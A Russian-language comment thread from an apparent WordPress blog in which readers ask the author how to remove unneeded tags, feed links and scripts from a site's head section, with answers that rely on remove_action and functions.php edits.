Статья очень полезная, спасибо!
Вот не могу из хедера удалить данный код:
prnt.sc/auxhr1
а эта функция не помогает (((
function disable_json_ld($display_search) { $display_search = true; return $display_search; } add_filter('disable_wpseo_json_ld_search', 'disable_json_ld');
Встречались с подобной проблемой?
Спасибо!
Здравствуйте Виталий! Это скрипт, а не линк, который выводиться SEO плагином. Если хотите его убрать, то надо смотреть настройки или копать код плагина.
Ого (((, проблемка видать серьёзная, даже не знаю что сказать.
Заметил, что данного скрипта нет на других страницах, кроме главной, а использование функции, указанной выше помогает удалить лишь часть данного скрипта (первую часть), а «хвост» остаётся (((
Все разобрался, спасибо все равно) Плагин social share такие чудеса сотворил.
Удалил и поставил share от яндекса
Прошу прощения, вот ещё этот код не могу убрать:
Попробуйте это:
Огромное спасибо!!!!
Поражаюсь просто глубине Ваших знаний в данном деле!!! Код исчез!!!
У меня стоит плагин, он выводит описание страниц правильно, но есть второй description, который прописан где то в header.php -> wp_head()-> ну и так далее.
В этом description выводится отрывок из последней статьи…как этот ненужное описание удалить?
Заранее спасибо.
Надо функцию искать, которая второй description выводит.
Виталий, здравствуйте!
Можете ли Вы подсказать? У меня в head сайта есть строка <link rel="alternate" type="application/rss+xml" title="Текст-Центр » Лента комментариев" data-link="
http://text-center.ru/comments/feed/
" />.Правильно ли я понимаю, что он убирается с помощью remove_action( 'wp_head', 'feed_links_extra', 3 ); ?
У меня после добавления кода в functions.php строка из head не пропала.
Можете ли подсказать, в чем причина? Я понимаю, что проще убрать код прямо из header.php, но хочется понять, почему не работает)
Заранее спасибо!
Здравствуйте Сергей!
Функция remove_action() отключает работу хука. Если же линк прописан в файле header.php, то remove_action() уже не поможет..
Прошу прощения. Не использовал преобразователь в предыдущем сообщении.
Повторю.
Виталий, можно как-то понять, где именно формируется код:
<link rel="alternate" type="application/rss+xml" title="Текст-Центр » Лента комментариев" data-link="
http://text-center.ru/comments/feed/
" />,который выводится между <head></head>?
Заранее спасибо!
Формируется данный линк в ядре WordPress. Точно в каком файле я не помню, но лезть в него я Вам не советую.
Попробуйте вот этот код:
Виталий, этот код вставляем в funсtions.php?
Да.
Виталий, доброе утро! Я бы хотел удалить только ссылку RSS-ленты комментариев, а записи должны остаться.
Так Вы же на фидбернер собрались переходить зачем вам вордпресовский фид…
А я думал, что такая RSS-лента записей как раз для Feedburner нужна, а иначе он работать не будет. Видимо, будет?)
Виталий Спасибо большущее за статью, обнаружил такую же проблему на своем сайте через Гугл Вебмастерс — генерировались ссылки типа: <link rel="alternate" type="application/rss+xml" для каждой статьи а их по факту как б и не существовало.
Вылечил! ))
Добрый день Виталий.
Очень полезная статья, благодаря вам я удалил много ненужных мета-тегов на своем сайте!
Единственное чего я не смог победить, так это один ява-скрипт и три стиля в индексной странице, и я никак не могу разобраться откуда он их тащит.
Еще такой вопрос: по сути функция remove_action является «костылем», при ручном удалении или закомментировании все того же мета-тега генерирующего версию движка в файле wp-includes/general-template.php он начинает ругаться на файл плагинов. Получается что этот костыль самое оптимальное и быстрое решение? Все таки хотелось бы действительно удалить «мусорный код» а не накрыть его крышкой.
Здравствуйте Павел!
remove_action отключает хук, и это действительно оптимальное решение.
Все изменения в файлах wordpress продержаться только до следующего обновления движка.
А вы не в курсе откуда он может тащить в индексную станицу ява-скрипт и три стиля? из-за одного стиля не могу навигационное меню изменить.
Какие скрипты и стили вы имеете в виду?
Нашел!, оказывается эти стили и скрипты тянутся из глобальных настроек самой темы! и их можно удалить из админки сайта. Еще раз спасибо за статью — «мусора» стало стало меньше!
Здравствуйте, Виталий. В коде Вашего сайта обнаружила скрипт на 14 строке: ,<script type="text/javascript">window._wpemojiSettings=… и стили на 18-й. Как Вы думаете, стоит их удалить или лучше оставить?
Здравствуйте Юлия, я так не могу сказать.
Проведите эксперимент с возможность все вернуть обратно. Если ничего не измениться, то значит они бесполезны.
Добрый день! Спасибо за такую подробную статью! Искал как закрыть от индексации постраничную навигацию главного листинга блога (оставив при этом открытой в рубриках), а также как убрать shortlink (читал — одни говорят что там 301 редирект и rel canonical на оригинальную статью и вес идет на нее, другие говорят что поисковым системам это не нравится) и дошел до вашей статьи. А здесь как прочитал вообще много всего еще делать)
Вы пишите что этот код нужно вставить в functions.php в самый конец, перед знаком ?>
Но у меня в конце functions.php такая скобка }
Добавил перед $theme_ob_stack = array() ; Вроде работает.
Еще добавил ваш код с комментария, чтобы убрать wp-json и oembed (здесь встречал код на 33 строчки mywebprofit . ru/post/1438, интересно в чем разница…). Если вдруг после следующих обновлений движка эти Api разработчики отключат (обычные пользователи как я не узнают), а я верну ваш код в functions.php, не будет ли проблем?
И то же, если в следующих версиях движка вдруг один из 6-ти хуков уже не понадобится — отключат функцию разработчики, а мы будет этот код из 6-ти пунктов и дальше вставлять в functions.php то будет все хорошо?
Подскажите пожалуйста
Да уж, еще теперь заметил, что было два rel_canonical на каждой странице (раньше думал что один из двух для shortlink), второй из-за Platinum seo pack (активируя в нем — не отключалась функция в движке).
Если кому надо (у кого такой же плагин latinum seo pack), я отключил один rel_canonical с помощью remove_action( ‘wp_head’, ‘rel_canonical’);
Пробовал большой код (ссылка выше, на 33 строки), при переходе по ссылкам oembed из Яндекс вебмастер все же переадресовывает на главную блога. (С вашим кодом — ссылки убирает из кода, но не переадресовывает с уже существующих страниц Oembed).
Но адрес url после после переадресации (если стоит больший код) практически как и в панели Яндекс вебмастер (скрин imger.ru/jpg/mu9I2uEx9C9TiFsM/) Странно переадресовывает.
Как-то не совсем понятно как правильно
Автор, привет! Всем привет!
Как убрать слово Архивы в title (который в head) ?
ТХ:
— WordPress Версия 4.8
— тема Twenty Fifteen
На данный момент всё обновлено до последней версии.
При просмотре страницы категории (рубрики) в title в начале написано Архивы … , а затем название категории (рубрики).
Как убрать?
Заранее благодарю за ответ!